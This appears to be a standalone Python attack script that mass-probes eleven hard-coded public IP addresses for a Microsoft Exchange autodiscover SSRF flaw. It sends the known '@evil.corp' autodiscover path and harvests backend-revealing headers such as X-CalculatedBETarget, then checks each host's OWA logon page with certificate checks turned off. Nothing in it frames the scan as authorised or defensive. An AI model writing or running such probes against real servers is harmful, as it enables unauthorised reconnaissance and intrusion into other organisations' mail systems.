#!/usr/bin/env python3
import json, concurrent.futures as cf
import requests
requests.packages.urllib3.disable_warnings()
TARGETS = [
 "37.18.37.60","41.220.193.30","41.218.80.148","41.231.84.161","45.12.228.53",
 "62.117.59.53","62.30.206.213","77.235.19.138","77.42.159.102","79.127.113.30","81.26.145.178",
]
AD = "/autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp"
def probe(ip):
    o={"ip":ip}
    try:
        r=requests.get(f"https://{ip}{AD}",verify=False,timeout=20,allow_redirects=False)
        h=r.headers
        o.update(status=r.status_code,server=h.get("Server"),feserver=h.get("X-FEServer"),
                 betarget=h.get("X-CalculatedBETarget"),diag=h.get("X-DiagInfo"),blen=len(r.content))
    except Exception as e:
        o["error"]=f"{type(e).__name__}:{str(e)[:100]}"
    try:
        r2=requests.get(f"https://{ip}/owa/auth/logon.aspx",verify=False,timeout=20)
        o.update(owa_status=r2.status_code,owa_server=r2.headers.get("Server"))
    except Exception as e:
        o["owa_error"]=f"{type(e).__name__}:{str(e)[:80]}"
    return o
if __name__=="__main__":
    with cf.ThreadPoolExecutor(max_workers=11) as ex:
        for r in ex.map(probe,TARGETS):
            print(json.dumps(r,ensure_ascii=False),flush=True)
